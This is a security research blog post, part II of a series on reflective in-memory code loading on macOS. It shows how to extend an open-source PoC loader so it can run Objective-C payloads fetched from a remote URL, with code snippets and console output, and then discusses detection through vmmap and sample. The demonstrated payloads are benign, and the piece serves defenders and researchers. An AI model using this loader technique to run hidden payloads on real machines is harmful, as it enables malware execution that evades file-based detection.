Parts of this research were originally presented at #OBTS v7.0. In this blog we touch on some of the main highlights and takeaways from the talk, plus provide an open-source PoC.
Most importantly though we cover several important updates, such as support for “reflective” Objective-C payloads.
▪️ (Updated) Open-Source Proof of Concept: Reflective Code Loader.
▪️ Orignal Slides: “Mirror Mirror: Restoring Reflective Code Loading on macOS”
At #OBTS v7.0 I discussed restoring reflective code loading on macOS:
After the talk, I decided to publish a detailed write-up, beginning with Part I. In that post, I walked through the history of reflective code loading on macOS and explained how Apple recently removed their in-memory loading APIs (e.g. NSLinkModule), effectively preventing such loading (at least at the API level):
macOS malware often (ab)uses APIs such as NSCreateObjectFileImageFromMemory, NSLinkModule etc) to execute in-memory payloads.
— Patrick Wardle (@patrickwardle) July 15, 2022
Apple has recently updated dyld3 (+these APIs), such that the in-memory payload is now first/always written out to disk 💾
See: https://t.co/vDuXLs6LXD pic.twitter.com/ALyFKSGRco
However, at #OBTS (and in Part I) showed how one could rather elegantly incorporate Apple’s older loader code into one’s own loader to fully restore reflective code loading, even on macOS 15 (and, as it turns out, on macOS 26 as well):
% ./PoC https://file.io/IAKV6NC6JDC8
macOS Reflective Code Loader
[+] downloading from remote URL...
payload now in memory (size: 68528), ready for loading/linking...
Press any key to continue...
dyld: 'ImageLoaderMachO::instantiateFromMemory' completed (image addr: 0x600000378180)
dyld: 'image->link' completed
[In-Memory Payload] Hello (reflectively loaded) World!
[In-Memory Payload] I'm loaded at: 0x10b290000
dyld: 'image->runInitializers' completed
Done!
Press any key to exit...
Here, in part II, we’ll:
In the first part of this blog post series, our in-memory payloads were all native C code. This was not a coincidence. Why? Well, it turns out that even the simplest Objective-C payload would crash.
Take, for example, the following snippet that simply builds an Objective-C (NSString) object and prints it out:
__attribute__((constructor))
void my_constructor(void) {
...
NSString* msg =
@"[In-Memory Payload] Hello (reflectively loaded Obj-C compatible) World!\n";
printf("%s", msg.UTF8String);
}If we compile this into a Mach-O binary and attempt to reflectively load it from a remote URL, it crashes hard:
% ./PoC <URL of Objective-C payload> *** NSForwarding: warning: selector (0x1030f0a5b) for message 'UTF8String' does not match selector known to Objective C runtime (0x20d799473)-- abort *** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[__NSCFConstantString UTF8String]: unrecognized selector sent to instance 0x1030f4020'
The reason is straightforward. In a nutshell, the dynamic loader (dyld) whose code we’ve embedded into our reflective loader doesn’t (really) know anything about Objective-C.
And unless Objective-C classes and methods are properly “registered” with the Objective-C runtime, any attempt to invoke them will crash. This leads to errors like the ones shown earlier, including:
Normally, dyld calls into the Objective-C runtime library, libobjc.A.dylib (located in /usr/lib/), to handle all the necessary registrations so that referenced Objective-C classes and methods are properly registered and everything runs smoothly. Unfortunately, since libobjc.A.dylib (unlike dyld) is closed-source, we cannot compile it into our reflective loader.
Luckily, as pointed out by Ryan Wincey, researchers (such as Stanislaw Pankevich) working on dynamically adding Objective-C and Swift code to LLVM had already largely solved this problem.
A few months ago, I hit a wall trying to reflectively load ObjC libraries with @patrickwardle’s recent macOS reflective loader. The fix? A completely unexpected LLM prompt. 🔥
— b0yd (@rwincey) July 20, 2025
Problem solved — full write-up here https://t.co/EfgpXL74we https://t.co/moPJIdfYlm
You can read Ryan’s writeup here: “Obj-C Reflective Code Loading on macOS via AI”
Specifically, in an excellent article titled “LLVM JIT, Objective-C and Swift on macOS: knowledge dump,” Stanislaw proposed (and implemented) a method to “activate” JIT’d Objective-C components by explicitly registering them with the Objective-C runtime. This involves:
Registering selectors
Registering classes (and super classes)
We have to register all classes and methods, that includes both our own custom classes and their methods, but also Apple ones that our code invokes (e.g. the NSString class and UTFString method).
Selectors, as noted earlier, are essentially names that identify a method. Recall that in our simple Objective-C payload we invoked the NSString class’s method UTF8String. The selector is the string "UTF8String". However, since we didn’t register this selector with the Objective-C runtime, the payload crashed with the following error:
reason: '-[__NSCFConstantString UTF8String]: unrecognized selector sent to instance 0x1030f4020'
In a compiled Mach-O, the compiler emits Objective-C metadata for invoked methods (such as UTF8String) into various sections, including __objc_methname and __objc_selrefs.
Using a tool such as MachOView, we can inspect these sections in our compiled Objective-C “Hello World” reflective payload:
As Stanislaw proposed, a loader can register all selectors in the payload with the Objective-C runtime by performing the following steps:
__objc_selrefs sectionTo get the name of a selector (found in the __objc_selrefs section), one can invoke sel_getName and then register it with sel_registerName:
//iterate over all selectors in __objc_selrefs
// for each, invoke sel_getName, and then sel_registerName (updating the selector with the result)
for (uint8_t *cursor = sectionStart;
cursor < (sectionStart + selRefsSectionSize);
cursor = cursor + sizeof(SEL)) {
SEL *selector = (SEL *)cursor;
const char *name = sel_getName(*selector);
*selector = sel_registerName(name);
}At this point, all the selectors in our Objective-C payload have been registered. Next, let’s turn our attention to registering the Objective-C classes.
Again, Stanislaw proposed that to register each class one could:
__objc_classlist sectionobjc_readClassPairYou can find the full implementation of both the selector and class registration logic in the PoC’s ObjCRuntime.
As noted in the code, it is adapted from the “llvm-jit-objc” project.
Hooray — all selectors and classes have now been registered with the Objective-C runtime! This means our reflective loader can finally support Objective-C payloads, including our simple “Hello World” example:
% ./PoC <URL of Objective-C payload>
macOS Reflective Code Loader
[+] downloading from remote URL...
payload now in memory (size: 68528), ready for loading/linking...
Press any key to continue...
dyld: 'ImageLoaderMachO::instantiateFromMemory' completed (image addr: 0x600000378180)
dyld: 'image->link' completed
[In-Memory Payload] Hello (reflectively loaded Obj-C compatible) World!
[In-Memory Payload] I'm loaded at: 0x10b290000
dyld: 'image->runInitializers' completed
Done!
Press any key to exit...
Now let’s turn our attention to detection. Whenever we discuss offensive capabilities, it’s always nice to show how defenders can spot their use!
If you’re as old as me, you might remember that back in the OS X days one could enumerate the loaded libraries of a remote process via its task_dyld_info structure (which contained a pointer to a dyld_all_image_infos structure listing all loaded libraries). However, this approach is no longer useful for two reasons:
task_dyld_info if you possess the private com.apple.system-task-ports.read entitlement.dyld_all_image_infos list anyway.Well then, what about system log messages — or better yet, events from macOS’s Endpoint Security framework?
Unfortunately, neither helps. In my testing, reflective loading generated zero system log messages and zero Endpoint Security events (I was at least expecting an ES_EVENT_TYPE_NOTIFY_MMAP event). Bummer!
Next, I turned my attention to vmmap. This built-in macOS utility has special Apple-only entitlements (specifically com.apple.system-task-ports.read) that allow it to print the memory mappings of remote processes.
Let’s execute our loader and reflectively load and run an in-memory payload that prints out its address:
__attribute__((constructor))
void my_constructor(void) {
...
void* func_address = (void*)my_constructor;
size_t page_size = getpagesize();
void* page_address = (void*)((uintptr_t)func_address & ~(page_size - 1));
printf("[In-Memory Payload] I'm loaded at: %p\n\n", page_address);
}Say this prints out the address 0x104c20000 (obviously this will vary each run). Now let’s run vmmap with the process ID of our loader… what do we see?
% vmmap `pgrep PoC` Process: PoC [5631] ... ==== Non-writable regions for process 5631 ... dylib 104c20000-104c24000 [16K 16K 16K 0K] r-x/rwx SM=ZER dylib 104c24000-104c28000 [16K 16K 16K 0K] r--/rwx SM=ZER dylib 104c2c000-104c34000 [32K 32K 32K 0K] r--/rwx SM=ZER STACK GUARD 1672f4000-16aaf8000 [56.0M 0K 0K 0K] ---/rwx SM=NUL __TEXT 192ad2000-192b55000 [524K 524K 0K 0K] r-x/r-x SM=COW /usr/lib/dyld ...
In the vmmap output, we can see that starting at 0x104c20000 there are several memory mappings that belong to our reflectively loaded payload. Since there is no file backing these regions, vmmap cannot name them, so it generically labels them as dylib.
Still, this is something — it at least allows us to identify when a process has reflectively loaded an in-memory payload. Unfortunately, vmmap cannot dump a remote process’s memory (for privacy reasons), so you won’t be able to recover the reflectively loaded payload itself. Bummer again!
Another macOS utility that can interact with remote processes is sample (also located in /usr/bin). If we execute sample against our reflective loader, it will give us a stack backtrace of the currently executing threads — including any executing within our reflectively loaded payload.
% sample `pgrep PoC`
Process: PoC [5631]
...
Call graph:
...
1 mach_msg2_trap (in libsystem_kernel.dylib) + 8 [0x192e19e34]
8605 Thread_32409566
8605 thread_start (in libsystem_pthread.dylib) + 8 [0x192e560fc]
8605 _pthread_start (in libsystem_pthread.dylib) + 136 [0x192e5b2e4]
8602 ??? (in <unknown binary>) [0x104c2bcc8]
! 8602 sleep (in libsystem_c.dylib) + 52 [0x192d056f8]
! 8602 nanosleep (in libsystem_c.dylib) + 220 [0x192cfc714]
! 8602 __semwait_signal (in libsystem_kernel.dylib) + 8 [0x192e1d3c8]
Here, we can see that sample has printed a stack backtrace for a thread executing inside our reflectively loaded payload. As with vmmap, because the payload exists only in memory and has no backing file, it is given a generic label, in this case: <unknown binary>. And again, while this allows us to detect that a process is using reflectively loaded code, it does not allow us to dump it.
It’s worth reiterating: neither we, nor any 3rd-party security tool running on a default installation of macOS, can dump remote process memory. This means the contents of reflectively loaded payloads are effectively invisible 😣.
Apple’s failure to strike an adequate balance between security and privacy often ends up empowering adversaries while limiting defenders.
Given Apple’s stance (prioritizing privacy over security), the practical approach is to ignore the loading mechanism and instead detect the behavior of the payload. Any useful payload (reflective or not) will generate events visible to the Endpoint Security subsystem. For example, a reflectively loaded stealer will trigger file events that can be detected or even blocked.
…still, the binary contents of the reflectively loaded payload will remain inaccessible!
Today, we continued our deep dive into reflective code loading on macOS, extending our earlier work to show that our reflective loader can now support Objective-C payloads. (A big mahalo to Ryan for his research and code, which is now integrated into the PoC loader!).
We also explored several detection options. Unfortunately, due to Apple’s decision to prioritize privacy over security, these options remain quite limited, meaning that, for now, attackers clearly have the upper hand! 😢